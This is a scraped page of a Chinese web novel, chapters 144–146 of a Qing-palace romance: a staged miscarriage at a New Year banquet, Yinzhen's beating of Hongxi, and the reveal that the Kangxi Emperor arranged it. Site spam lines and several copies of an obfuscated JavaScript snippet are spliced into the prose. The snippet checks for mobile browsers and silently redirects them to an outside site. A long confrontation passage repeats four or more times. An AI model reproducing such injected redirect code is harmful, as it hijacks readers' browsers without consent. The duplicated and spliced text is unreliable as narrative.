听说看这本书的人都是很幸运的,分享后你的运气会更棒 各个儿子,对胤禛面色也不是很好。 胤禛默默退到一旁,将银票递给仪欣收起来。 老五揶揄轻撞胤禛,挑眉问:“四哥,惹皇阿玛生气啦? 胤禛也不否认,轻轻“嗯一声。 众人本来还觉得胤禛受宠,此时也安慰起来。 除夕宫宴,胤禛第一次作为嫡子露面的宴会,仪欣也察觉到了不同,太子妃没有如旧日般亲近,但是宗室命妇前赴后继前来攀谈见礼。 仪欣身边群英环绕,不比太子妃逊色半分。 开宴前,弘皙携嫡福晋乌郎罕济尔默氏前来见礼。 主要是弘皙还记得胤禛提点他的话,思忖多日,才见端倪,他跟年氏关系极差,从前还将休弃年氏的事情闹到了皇玛法面前,年氏有孕,他不该如此清楚她孕期的小事。 他不免懊悔,心力交瘁。 果然,万言万当,不如一默。 “给四叔,四婶婶请安。弘皙恭敬行礼。 乌郎罕济尔默氏用蒙语一并请安。 仪欣觉得新鲜,弯唇跟弘皙的福晋用不太熟练的蒙语叙话。 “起吧。胤禛眸光深沉,若有所指道,“弘皙做了阿玛,看起来确实成熟不少。 弘皙心一沉,果然四叔对年氏假孕之事有所耳闻。 “是,侄儿的侧室乌拉那拉氏亦是有孕。弘皙斟酌着把话题引开。 胤禛感觉到身后的仪欣呼吸都带着震惊和兴奋,他习惯性捻了捻佛珠,凑近在弘皙身侧道。 “本王也算疼爱你,有些事本王可以睁一只眼闭一只眼,告诉你阿玛,别紧张。 弘皙也说不上是喜是忧,刀锋嗜血,难免伤己。 宫宴一如既往,颇为无趣。 姚虞离开的消息果然没有传开,只是以病假缺席,姚虞不来,仪欣惦念姚虞孤身在外,又因无趣有些恹恹不乐。 看着面前的冰糖炖燕窝,黄焖羊肉,鸭腰口蘑,炖猪肚,冬笋爆炒鸡,炸春卷,烩金银丝,佛跳墙,万福肉.仪欣幽幽叹口气。 胤禛无奈,提杯敬仪欣。 仪欣双手捧着杯和胤禛轻碰,耷拉着绯红的狐狸眼,口型道,想回家。 “乖,别闹人,晚些一起回富察府。胤禛无奈笑,给她 恭喜你可以去书友们那里给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354894|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们剧透了,他们一定会“羡慕嫉妒恨”的 剥一粒葡萄。 仪欣这才欢喜些,十三福晋观察仪欣半晌,轻声温柔提议出去透透气,仪欣悄声离席。 有两个小宫嫔看到胤禛和仪欣的互动,交头接耳笑着叙话打趣。 “雍亲王虽然人冷淡了些,但是对福晋却是温和极了。” “看不出来雍亲王和福晋竟是这般相处。” 德妃目光阴毒,压不下去狠辣,眸光微转,示意身边的大丫鬟跟出去。 仪欣身着一袭霞红绫撒花吉服,端庄之余,别有一番难以言喻的妩媚娇憨风情。 架子头点缀的珍珠,颗颗如拇指般大小,闪烁着缕缕珠光,更衬得那张娇美的面庞愈发明艳。 完颜氏跟在仪欣半步之后,不疾不徐漫步。 她觉得四嫂好似长开了,从前是美人胚子,如今人人见到都会直白感慨是个绝色美人。 仪欣还是担忧姚虞,因而有些闷闷不乐,她想给姚虞送些东西,都不知要寄往何处。 完颜氏见她兴致低迷,温柔笑着牵过仪欣的手,温声说:“四嫂,妾身跟您分享个秘密吧。” “嗯?”仪欣浅浅回眸。 完颜氏笑着将仪欣的手搭在她的小腹上,腼腆羞红了脸,“嗯,四嫂是第二个知道的。” 仪欣惊叹出声,含着雾气的眼睛亮晶晶的,想要伏低身子又有些不知所措,“几个月了?” “一个半月了。”完颜氏温柔笑着说。 仪欣摘掉红宝石护甲,小心翼翼摸了摸,眼尾愉悦上挑,“真好。” 莫雅琪有孕了,年氏也是,还有十三弟妹也有新的小宝宝了。 弯弯:旧的呢?不要了吗? 仪欣对妇人有孕之事一窍不通,轻声关怀完颜氏,好奇地问东问西,完颜氏知无不言,温和告诉她怀弯弯时候的事情。 不知不觉溜达到梧桐台,梧桐台前明灯璀璨,青石台阶厚重又映着温暖的光。 仪欣稳妥扶着完颜氏,完颜氏也扶着仪欣。 “妾身给四福晋、十三福晋请安。”一道暗哑声音自朔风里传来。 仪欣唇角缓缓落下,转身淡漠看着十步之外的人,她先挡在了完颜氏身前。 第144章 年氏的栽赃。 年枝,她好像没资格出现在除夕宫宴。 仪欣清冷的目光看向年枝的身后,有个颇为熟悉的宫女,德妃宫里的。 完颜氏下意识捂了一下自己的腹部,看着拦在自己身前的娇弱女子,又看到年枝高高隆起的肚子,她轻声道:“四嫂,咱们回去吧。” “嗯,回去。”仪欣有点不太好的预感,只是年枝和德妃宫里的宫女在一起,就让她感觉很不对劲。 “四福晋,好歹也是旧相识了,走什么呢?” 年枝扶着肚子,不紧不慢拾级而上,她穿着大红色绣芍药花的旗装,红唇微勾,溜达到仪欣面前。 永和宫的宫女默默离开,德妃娘娘和年氏的交易就是将年氏带到四福晋面前。 十四爷和年羹尧在川陕斗得热火朝天,年枝和德妃却是殊途同归。 德妃不想让年枝有毓庆宫的孩子,巧了,年枝也不想这个“孩子”生下来。 “旧相识?本福晋怎么不知道还有这回事?” “四福晋,若是我偏要和你叙叙旧呢?”年枝阴恻恻问。 仪欣沉默一下,扫到年枝高高隆起的腹部,咬唇压住火气,带着完颜氏默默退了一步。 如果不是年枝肚子里还有孩子,她早就扇年枝一顿,教她做人了。 可是光脚的不怕穿鞋的,她如今真没有什么办法,只能谨慎着,随机应变。 完颜氏听着这话都颇为刺耳,不咸不淡又颇为强硬道:“你是哪个宗亲的福晋,还不快快避让?” 年枝不屑勾唇,偏头看着梧桐台层层高阶,没有理会完颜氏,反倒挑衅跟仪欣说:“如果我在这里摔下去,没了孩子,会怎么样?” “你简直是疯子。”仪欣手心一瞬间濡湿了,想起完颜氏的身孕,强忍着扯出个笑意,后头看完颜氏,“十三弟妹先回去吧,我和弘皙阿哥的侧福晋有话要说。” 完颜氏没有立刻走,观察周围,宫女太监都被支开了。 完颜氏温婉笑了,“原来是年侧福晋,有什么话不能改日再说呢?” 完颜氏身边侍女悄声离开,完颜氏想着无论如何也不能任由年氏在台阶旁站着,又客套两句想将她引到平地。 年枝全然不接招,笑盈盈道:“我有话要跟四福晋单独说,如果再有人胡搅蛮缠,那我就跳下去。 你的朋友正在书荒,快去帮帮他吧 ” 仪欣咬牙拍了拍完颜氏的手背和她对视一眼完颜氏点头慢慢离开。 “你想说什么?”仪欣看一眼晴云如果年枝真的要跳下去以晴云的身手大抵是能够救下她。 晴云默不作声站到一个保守的位置。 “你知道我有多讨厌你吗?”年枝笑。 仪欣不屑听她这个“我不想知道因为我更讨厌你。” 年枝摸了摸发髻漫不经心问:“你不想知道?那我和四爷几年前初遇你也不想知道吗?我怎么被他救下来你也不想知道吗?况且我兄长本来跟四爷是好友那日春意楼若不是遇见了你我本来是要做他的侧福晋的。” “我喜欢他比你早比你多。” “若不是你突然出现我和他怎么会没有可能?” 什么? 年枝说明白仪欣才知道她喜欢胤禛初次见她那些反常的表现这才有了解释。 真是迟钝仪欣唾弃自己心里却很平静。 仪欣唇角泛起不悦的弧度面色如常眼好似有些微微泛红装模做样拿绢帕擦了擦眼泪半晌肩膀微微颤抖却笑出声来。 “哦?喜欢他啊?” “你说的那些我都不想知道”仪欣想到一会儿要说什么眸色狡黠面露揶揄默不作声又退远一些“你刚刚说的是你们全部的交集了吧。” “是又怎么样他救过我的性命。”年枝还是清高又自信的。 “那”仪欣尾音拖长微微卷起像是初春柳叶的新芽“他接吻时什么表情你想不想知道?他穿寝衣什么样子你想不想知道?他醉酒时的说什么话你想不想知道?” 年枝红了眼攥紧手帕她简直脑袋发懵处处都是富察氏说的那些画面却怎么都想象不到。 “好了你说的那些我会自己去问他;我说的这些你想知道我也无可奉告。”仪欣转身就要离开。 仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354895|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欣的脚步有些匆忙几乎是落荒而逃远远看到胤禛和老十三还有完颜氏的身影仪欣这才安心一些转而听到年枝喊她的名字。 她说 仪欣瞳孔微缩看到眼前的画面吓得抱头蹲下年枝脚下有一大摊血转而 听说看这本书的人都是很幸运的,分享后你的运气会更棒 在她身侧滚下去。 “啊——”仪欣好像尖叫出声了,不知何时眼前一黑,意识风飘絮般哗啦一下散在寒风里,好冷。 年枝昏过去之前还是有意识的,温热的血流出来,她看到幽蓝色的亲王**袍,男人优越深邃的眉眼,略过她。 不知太子给她喂了什么药,让她跟弘皙没有圆房都可以怀孕,她绝对不能忍受这种莫名其妙的羞辱。 毓庆宫,四福晋,随便你们吧。 * 宣和殿偏殿。 康熙坐在上首,听他们你一言我一语的说当时的情景。 晴云跪着如实禀告,完颜氏亦是将年氏不敬的事情告知康熙。 年枝身边的素燕却说是仪欣扯了年枝一把,才将她带下台阶。 弘皙和太子也懵了。 年氏假孕落子,事发突然,绝非他们的的本意;但是,若是和雍亲王福晋扯上关系,他们绝对要坐实此事。 太子先阴阳怪气指责胤禛,弘皙当即红了眼眶,说起对年氏腹中子嗣的喜爱。 宫宴还在继续,这等皇室丑闻,又这般晦气,无论如何,也不能在除夕当日传出风声去。 胤禛全程一言不发,只是在听到御用太医说年氏五个月的孩子保不住了,他眸色漆黑,与康熙对视。 皇阿玛,您的御用太医都被太子收买了。 康熙气血上涌,面色却有些心疼的哀色,苍老的嗓音轻叹道:“孩子无辜。” 康熙没有提及仪欣的过错。 弘皙和太子心中略过一丝喜意,知道这个不存在的孩子算是在康熙这里过了明路了,剩下的事情还得从长计议。 “一块没成形的肉,怎么知道就是孩子,而不是别的东西呢?”胤禛冷不丁开口。 第145章 别玩火** 弘皙很紧张,太子却是嚣张问:“不然呢?” “孤还未来得及向四弟妹要个交代呢。” “交代?吾妻亦是昏迷不醒,没有本王的妻子向侄儿的侧室交代的道理,太子殿下糊涂了。” “老四,你放肆。” 胤禛嗤笑一声,”长幼尊卑,是弘皙先不论的,太子殿下最好先堂前教子,再来教臣弟如何不放肆。” 殿内**味十足,胤禛第一次锋芒毕露,对上素来桀骜的太子亦是不退不让,周身如同经年不化的冰山般冷冽,眸若深潭,握着佛珠随意哂笑。 殿内落针可闻。 “胤禛,住口。”康熙威严开口。 胤禛笑了笑,转身离开。 * 仪欣是在胤禛温暖的怀里醒来的,胤禛握着她的手腕,听太医说仪欣惊吓过度的情况。 “王爷,孩子还在吗?十三弟妹还好吗?” 仪欣眼睛通红,黯淡无光,委屈埋在胤禛的颈窝里小声哭起来,“不是我,我已经让着她了,我没有碰到她。” 胤禛眸色压不下狠厉的情绪,却又极其温柔替仪欣顺气,微微偏头示意太医退下。 “仪欣,她没有怀孕,不是你的错。” “什么?” 胤禛摸着她的脑袋,低头放轻声音:“那个孩子只是太子欺骗年羹尧为他效力的手段,年氏跟弘皙不可能有孩子,年氏也不想名义下有弘皙的孩子。明白吗?” “那是他们之间的事情,我的仪欣只是无妄之灾。” 仪欣抱紧胤禛,”我害怕,王爷,皇阿玛知道这件事吗?” 胤禛克制着情绪,低声坦白:“知道,乖乖,不害怕,皇阿玛都清楚,但是,有些蠢货以为手段天衣无缝,以为皇阿玛不知情。” 仪欣脑袋已经转不过来了,她想不清楚好多事情,满脑子都是青石板砖的鲜血,“真的没有孩子吗?” 胤禛掐着她的后脖颈,温柔捏了捏,“仪欣是最勇敢的小孩子吗?” “是。” 胤禛笑了,将早已熬好的安神汤喂她喝下,又问,“那敢不敢跟我去看热闹?就看他们心虚的表情,圆谎时倾泻出的片刻隐晦的胆怯,就像去年冬日猜太子的马吊牌一样。” “我牵着 你的手,有什么事就往我身后躲,你会发现,你所有想不明白的事,都是有人在装神弄鬼。” 仪欣仰头看着胤禛,晃了晃脑袋,又点点头,“走!我不害怕。” 胤禛亲一口她的脑袋,她素来胆小,若是当时不能面对,日后更是如同插了尖刺一般。 宫宴还在继续,仪欣和胤禛慢慢走到宣和殿,她的腿还是有些软,牵着胤禛的手,攥得紧紧的。 康熙威严的看着她,半晌没有说话。 仪欣没有心虚,反而关心一下完颜氏的身体,完颜氏眼睛也是红红的,两个人说了几句话,仪欣鼻尖红红的,却弯了弯唇。 “四嫂,多谢你。”老十三低声说。 仪欣摆摆手,“十三弟妹是无妄之灾,我该说抱歉的。” 完颜氏有些感性,又担忧蹙眉,皇阿玛的心思难以捉摸,年氏的孩子又没得蹊跷,太子殿下跟四爷针锋相对,她也看不清。 德妃笑盈盈开口:“老四媳妇怎么出去这么久,可是不胜酒力吗?” 一时间,目光全部都汇集到仪欣身上,有人揣测她眉眼含泪的缘由。 仪欣扯了扯唇,就德妃最装。 “额娘还有空关心妾身,真是辛苦了。”仪欣淡淡开口。 这一声“额娘”叫得有意思,胤禛弯了弯唇。 德妃一噎,听到身边妃嫔窃窃的低笑。 宫宴结束后,胤禛和仪欣慢慢往回走,毓庆宫的小太监派人来请,只说请四爷和四福晋到毓庆宫叙话。 胤禛淡漠抬眼,见天色还早,在旁边宫殿暂且歇下来,“让弘皙来见本王。” “这四爷,这是太子爷的吩咐。”小太监纠结道。 “让弘皙来见本王,这也是本王的吩咐,你只管通禀。” 小太监退下,仪欣坐到胤禛腿上,脑袋搭在他的肩膀上,“年氏说她喜欢你,你知道吗?” “知道。”胤禛实话实说。 仪欣掐一把他的腰,闷闷不乐,气不过又掐一把,“我今天不想听那些事,等哪天想听了,王爷再告诉我。” 胤禛好脾气揉了揉她的手腕,轻轻“嗯”了一声。 弘皙来的很快,他不敢跟胤禛摆谱,年枝假孕的孩子没了,他根本不占理,进来先恭敬行礼:“四叔,四婶婶。 ” “四叔唤侄儿有什么事吗?” “跪下。”胤禛淡漠垂眸吩咐。 “四叔…”弘皙吞咽口水,后退一步,虽然四叔语气平静毫无波澜,他就是清楚意识到对面男人盛怒。 胤禛抬腿将他踹倒,又重复问一遍,“跪吗?” 弘皙折膝跪着,跟仪欣道歉说,“四婶婶,原谅侄儿。” 仪欣气恼,站起来进退两难,年氏的孩子真是假的,“阿哥这手段可真够大胆的,若是王爷不知实情,阿哥准备怎么讹上本福晋?” “四婶婶,侄儿没有,侄儿也是被年氏骗了。” 仪欣看着他的眼睛,好像突然就感觉到他说的假话,她别过脸去。 胤禛抬手指了指他,示意他停住,“不需要道歉,语言上的歉意太过虚无缥缈,解决不了任何问题。” 他牵着仪欣的手腕,轻轻摩擦她的脉搏,她今晚不知道有多害怕,遭受无妄之灾,还让她看到那般血腥的场面。 “侄儿.”弘皙咽了咽口水,想继续辩解什么。 胤禛左腕戴着佛珠,牵着仪欣,站在弘皙身前,身子不避不让,深瞳看着弘皙,右手直直甩了他一个巴掌。 弘皙一愣,还未反应过来。 胤禛淡漠着又甩了他一个巴掌,“本王脾气不好,你做事把握着些分寸,别让本王生气。” 弘皙脸上火辣辣的疼,喉咙腥甜,他虽是庶子,却是皇长孙,又向来得皇玛法疼爱教导,何时跪着让人扇过巴掌,胤禛的玉扳指刮过他的侧脸,檀香气凛冽钻到他的心肺里。 “四叔,您听我解释,我亦不知情!四叔!” 胤禛俯身捏住他的脸,狠厉又薄情哂笑:“修身,齐家,尚且做得一知半解,还要在本王面前摆弄权术,弘皙,本王劝你一句,有些事情不是你一个黄口小儿能掺和的,那些手段还不够看,别玩火**。” 弘皙浑身僵住,深深看进胤禛漆黑的眼睛里。 “本王是在教你,明白吗?” ” “四叔唤侄儿有什么事吗?” “跪下。”胤禛淡漠垂眸吩咐。 “四叔…”弘皙吞咽口水,后退一步,虽然四叔语气平静毫无波澜,他就是清楚意识到对面男人盛怒。 胤禛抬腿将他踹倒,又重复问一遍,“跪吗?” 弘皙折膝跪着,跟仪欣道歉说,“四婶婶,原谅侄儿。” 仪欣气恼,站起来进退两难,年氏的孩子真是假的,“阿哥这手段可真够大胆的,若是王爷不知实情,阿哥准备怎么讹上本福晋?” “四婶婶,侄儿没有,侄儿也是被年氏骗了。” 仪欣看着他的眼睛,好像突然就感觉到他说的假话,她别过脸去。 胤禛抬手指了指他,示意他停住,“不需要道歉,语言上的歉意太过虚无缥缈,解决不了任何问题。” 他牵着仪欣的手腕,轻轻摩擦她的脉搏,她今晚不知道有多害怕,遭受无妄之灾,还让她看到那般血腥的场面。 “侄儿.”弘皙咽了咽口水,想继续辩解什么。 胤禛左腕戴着佛珠,牵着仪欣,站在弘皙身前,身子不避不让,深瞳看着弘皙,右手直直甩了他一个巴掌。 弘皙一愣,还未反应过来。 胤禛淡漠着又甩了他一个巴掌,“本王脾气不好,你做事把握着些分寸,别让本王生气。” 弘皙脸上火辣辣的疼,喉咙腥甜,他虽是庶子,却是皇长孙,又向来得皇玛法疼爱教导,何时跪着让人扇过巴掌,胤禛的玉扳指刮过他的侧脸,檀香气凛冽钻到他的心肺里。 “四叔,您听我解释,我亦不知情!四叔!” 胤禛俯身捏住他的脸,狠厉又薄情哂笑:“修身,齐家,尚且做得一知半解,还要在本王面前摆弄权术,弘皙,本王劝你一句,有些事情不是你一个黄口小儿能掺和的,那些手段还不够看,别玩火**。” 弘皙浑身僵住,深深看进胤禛漆黑的眼睛里。 “本王是在教你,明白吗?” ” “四叔唤侄儿有什么事吗?” “跪下。”胤禛淡漠垂眸吩咐。 “四叔…”弘皙吞咽口水,后退一步,虽然四叔语气平静毫无波澜,他就是清楚意识到对面男人盛怒。 胤禛抬腿将他踹倒,又重复问一遍,“跪吗?” 弘皙折膝跪着,跟仪欣道歉说,“四婶婶,原谅侄儿。” 仪欣气恼,站起来进退两难,年氏的孩子真是假的,“阿哥这手段可真够大胆的,若是王爷不知实情,阿哥准备怎么讹上本福晋?” “四婶婶,侄儿没有,侄儿也是被年氏骗了。” 仪欣看着他的眼睛,好像突然就感觉到他说的假话,她别过脸去。 胤禛抬手指了指他,示意他停住,“不需要道歉,语言上的歉意太过虚无缥缈,解决不了任何问题。” 他牵着仪欣的手腕,轻轻摩擦她的脉搏,她今晚不知道有多害怕,遭受无妄之灾,还让她看到那般血腥的场面。 “侄儿.”弘皙咽了咽口水,想继续辩解什么。 胤禛左腕戴着佛珠,牵着仪欣,站在弘皙身前,身子不避不让,深瞳看着弘皙,右手直直甩了他一个巴掌。 弘皙一愣,还未反应过来。 胤禛淡漠着又甩了他一个巴掌,“本王脾气不好,你做事把握着些分寸,别让本王生气。” 弘皙脸上火辣辣的疼,喉咙腥甜,他虽是庶子,却是皇长孙,又向来得皇玛法疼爱教导,何时跪着让人扇过巴掌,胤禛的玉扳指刮过他的侧脸,檀香气凛冽钻到他的心肺里。 “四叔,您听我解释,我亦不知情!四叔!” 胤禛俯身捏住他的脸,狠厉又薄情哂笑:“修身,齐家,尚且做得一知半解,还要在本王面前摆弄权术,弘皙,本王劝你一句,有些事情不是你一个黄口小儿能掺和的,那些手段还不够看,别玩火**。” 弘皙浑身僵住,深深看进胤禛漆黑的眼睛里。 “本王是在教你,明白吗?” ” “四叔唤侄儿有什么事吗?” “跪下。”胤禛淡漠垂眸吩咐。 “四叔…”弘皙吞咽口水,后退一步,虽然四叔语气平静毫无波澜,他就是清楚意识到对面男人盛怒。 胤禛抬腿将他踹倒,又重复问一遍,“跪吗?” 弘皙折膝跪着,跟仪欣道歉说,“四婶婶,原谅侄儿。” 仪欣气恼,站起来进退两难,年氏的孩子真是假的,“阿哥这手段可真够大胆的,若是王爷不知实情,阿哥准备怎么讹上本福晋?” “四婶婶,侄儿没有,侄儿也是被年氏骗了。” 仪欣看着他的眼睛,好像突然就感觉到他说的假话,她别过脸去。 胤禛抬手指了指他,示意他停住,“不需要道歉,语言上的歉意太过虚无缥缈,解决不了任何问题。” 他牵着仪欣的手腕,轻轻摩擦她的脉搏,她今晚不知道有多害怕,遭受无妄之灾,还让她看到那般血腥的场面。 “侄儿.”弘皙咽了咽口水,想继续辩解什么。 胤禛左腕戴着佛珠,牵着仪欣,站在弘皙身前,身子不避不让,深瞳看着弘皙,右手直直甩了他一个巴掌。 弘皙一愣,还未反应过来。 胤禛淡漠着又甩了他一个巴掌,“本王脾气不好,你做事把握着些分寸,别让本王生气。” 弘皙脸上火辣辣的疼,喉咙腥甜,他虽是庶子,却是皇长孙,又向来得皇玛法疼爱教导,何时跪着让人扇过巴掌,胤禛的玉扳指刮过他的侧脸,檀香气凛冽钻到他的心肺里。 “四叔,您听我解释,我亦不知情!四叔!” 胤禛俯身捏住他的脸,狠厉又薄情哂笑:“修身,齐家,尚且做得一知半解,还要在本王面前摆弄权术,弘皙,本王劝你一句,有些事情不是你一个黄口小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“四叔唤侄儿有什么事吗?” “跪下。”胤禛淡漠垂眸吩咐。 “四叔…”弘皙吞咽口水,后退一步,虽然四叔语气平静毫无波澜,他就是清楚意识到对面男人盛怒。 胤禛抬腿将他踹倒,又重复问一遍,“跪吗?” 弘皙折膝跪着,跟仪欣道歉说,“四婶婶,原谅侄儿。” 仪欣气恼,站起来进退两难,年氏的孩子真是假的,“阿哥这手段可真够大胆的,若是王爷不知实情,阿哥准备怎么讹上本福晋?” “四婶婶,侄儿没有,侄儿也是被年氏骗了。” 仪欣看着他的眼睛,好像突然就感觉到他说的假话,她别过脸去。 胤禛抬手指了指他,示意他停住,“不需要道歉,语言上的歉意太过虚无缥缈,解决不了任何问题。” 他牵着仪欣的手腕,轻轻摩擦她的脉搏,她今晚不知道有多害怕,遭受无妄之灾,还让她看到那般血腥的场面。 “侄儿.”弘皙咽了咽口水,想继续辩解什么。 胤禛左腕戴着佛珠,牵着仪欣,站在弘皙身前,身子不避不让,深瞳看着弘皙,右手直直甩了他一个巴掌。 弘皙一愣,还未反应过来。 胤禛淡漠着又甩了他一个巴掌,“本王脾气不好,你做事把握着些分寸,别让本王生气。” 弘皙脸上火辣辣的疼,喉咙腥甜,他虽是庶子,却是皇长孙,又向来得皇玛法疼爱教导,何时跪着让人扇过巴掌,胤禛的玉扳指刮过他的侧脸,檀香气凛冽钻到他的心肺里。 “四叔,您听我解释,我亦不知情!四叔!” 胤禛俯身捏住他的脸,狠厉又薄情哂笑:“修身,齐家,尚且做得一知半解,还要在本王面前摆弄权术,弘皙,本王劝你一句,有些事情不是你一个黄口小儿能掺和的,那些手段还不够看,别玩火**。” 弘皙浑身僵住,深深看进胤禛漆黑的眼睛里。 “本王是在教你,明白吗?” ” “四叔唤侄儿有什么事吗?” “跪下。”胤禛淡漠垂眸吩咐。 “四叔…”弘皙吞咽口水,后退一步,虽然四叔语气平静毫无波澜,他就是清楚意识到对面男人盛怒。 胤禛抬腿将他踹倒,又重复问一遍,“跪吗?” 弘皙折膝跪着,跟仪欣道歉说,“四婶婶,原谅侄儿。” 仪欣气恼,站起来进退两难,年氏的孩子真是假的,“阿哥这手段可真够大胆的,若是王爷不知实情,阿哥准备怎么讹上本福晋?” “四婶婶,侄儿没有,侄儿也是被年氏骗了。” 仪欣看着他的眼睛,好像突然就感觉到他说的假话,她别过脸去。 胤禛抬手指了指他,示意他停住,“不需要道歉,语言上的歉意太过虚无缥缈,解决不了任何问题。” 他牵着仪欣的手腕,轻轻摩擦她的脉搏,她今晚不知道有多害怕,遭受无妄之灾,还让她看到那般血腥的场面。 “侄儿.”弘皙咽了咽口水,想继续辩解什么。 胤禛左腕戴着佛珠,牵着仪欣,站在弘皙身前,身子不避不让,深瞳看着弘皙,右手直直甩了他一个巴掌。 弘皙一愣,还未反应过来。 胤禛淡漠着又甩了他一个巴掌,“本王脾气不好,你做事把握着些分寸,别让本王生气。” 弘皙脸上火辣辣的疼,喉咙腥甜,他虽是庶子,却是皇长孙,又向来得皇玛法疼爱教导,何时跪着让人扇过巴掌,胤禛的玉扳指刮过他的侧脸,檀香气凛冽钻到他的心肺里。 “四叔,您听我解释,我亦不知情!四叔!” 胤禛俯身捏住他的脸,狠厉又薄情哂笑:“修身,齐家,尚且做得一知半解,还要在本王面前摆弄权术,弘皙,本王劝你一句,有些事情不是你一个黄口小儿能掺和的,那些手段还不够看,别玩火**。” 弘皙浑身僵住,深深看进胤禛漆黑的眼睛里。 “本王是在教你,明白吗?” 第146章 是皇阿玛的手笔! 弘皙在同龄人中算是天资不错康熙也疼爱他但是他的手段在他的叔叔们眼中还是太稚嫩有些事太子能做弘皙不能掺和。 有朝一日太子倒台弘皙还能照常立足朝堂。 若是消磨情分惹怒康熙那就不一定了。 看着弘皙溢血的唇角和肿起的侧脸仪欣紧张兮兮咽了咽口水 她从前扇人巴掌还是太小打小闹了。 “侄儿.明白。” 弘皙已经有些发抖殿门未关冬日寒气让他汗**尽竖。 胤禛漫不经心替他揩去唇角的血缓缓直起身来耐心说“你懂事就行。” 弘皙由小太监架着离开。 胤禛冷不丁回头捏了捏她细嫩的脸无奈问:“你紧张什么呢?” “王爷**好像很疼的样子?”仪欣蔫蔫地眼巴巴看他。 胤禛笑:“你又想到什么有趣的事情了?” 说完他随手拍一下她的屁股。 “王爷我没有。”仪欣赶忙否认低着头拉着他的手。 仪欣想早点回富察府说不害怕是假的其实还是想快点走。 胤禛却不着急带着仪欣坐在这个不知名的宫室里还让小太监沏了一壶热茶安稳抱着她把玩她的手指。 “王爷咱们在这里干什么?”仪欣紧张兮兮问。 “等人。” “等谁?等太子来算账吗?” 胤禛无奈:“带你看看谁在戏班子上唱戏看完了就不许害怕了。” “嗯。” 仪欣几乎是无条件信任胤禛她心里不踏实一会儿胆子大一会儿胆子小在宫里也不敢胡闹想亲胤禛也不敢。 没多久进来一个小太监。 再往后康熙沉默走进来他穿着布衣没有任何配饰仪欣这才认出来平平无奇的小太监竟是御前总管。 仪欣抿唇看着康熙好像犯错的孩子胤禛无奈看着她鬼鬼祟祟的模样牵着她的手一板一眼行礼。 “阿玛这般不论下手轻重还来见儿子做什么?”胤禛冷脸。 康熙踹一脚他的腿亲自递给仪欣一个很大的捧盒“压压惊 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 别害怕。 胤禛冷脸,不让仪欣收下。 仪欣一会儿看看胤禛,一会儿看看康熙,抱着捧盒先谢过皇阿玛,又想着去哄胤禛。 “皇阿玛为什么要派人将年氏带出来?那个孩子什么时候不能落?皇阿玛不如让儿子去宰了年羹尧,省得您拐弯抹角的。 胤禛不管康熙怎么样,自顾自坐下,拉着仪欣也坐下。 仪欣目瞪口呆,不敢相信听到了什么。 年氏,是皇阿玛的手笔。 是皇阿玛的手笔!!!! 康熙轻咳一声:“何时发现的? “德妃的宫女就能从毓庆宫带出来吗?况且,皇阿玛还没有到老糊涂的地步,您的御用太医,怎会给年氏诊治,又怎么会被太子收买,儿子当时也是被气糊涂了,您作壁上观没问题,拉儿子上台唱戏也得先吱会一声。 胤禛不客气问,“皇阿玛真是临近年底,不理朝政,闲坏了。 从他怀疑太医被收买,就觉得不对劲。 等见到仪欣醒来,才头脑清醒,想清楚这是皇阿玛跟太医做的戏。 “这叫什么话! 康熙呵斥,转头又乐呵呵跟仪欣说,“吓坏了吧,孩子?唉,朕以为你得跟马齐一样性情呢,怎么还被吓晕了过去? 康熙本想着让太子或者太子妃阴差阳错落了年氏的孩子,谁知,年氏跟德妃勾结,到了仪欣面前。 仪欣嗫嚅着嘴巴,不知道说什么。 她以为是德妃和年枝,结果王爷告诉他年枝没有孩子,是太子和弘皙在算计年羹尧。 如今,竟是皇阿玛在背后动手。 只有站出来,才知道谁在戏台子上唱戏。 这层峦叠嶂,这么多人一起动手,她才看明白。 “可是还害怕?康熙又问。 仪欣憋了半天,说出来一句:“我没事,皇阿玛下次不要这样了。 康熙呵呵笑,冷脸看着更冷脸的胤禛,夸奖仪欣说:“老四媳妇性情真是不错,朕没看错你。 “谢谢皇阿玛夸奖,仪欣吞吞吐吐又重复一遍,“皇阿玛下次不要这样了。 胤禛看着仪欣,心疼的不行,冷哼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370005|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 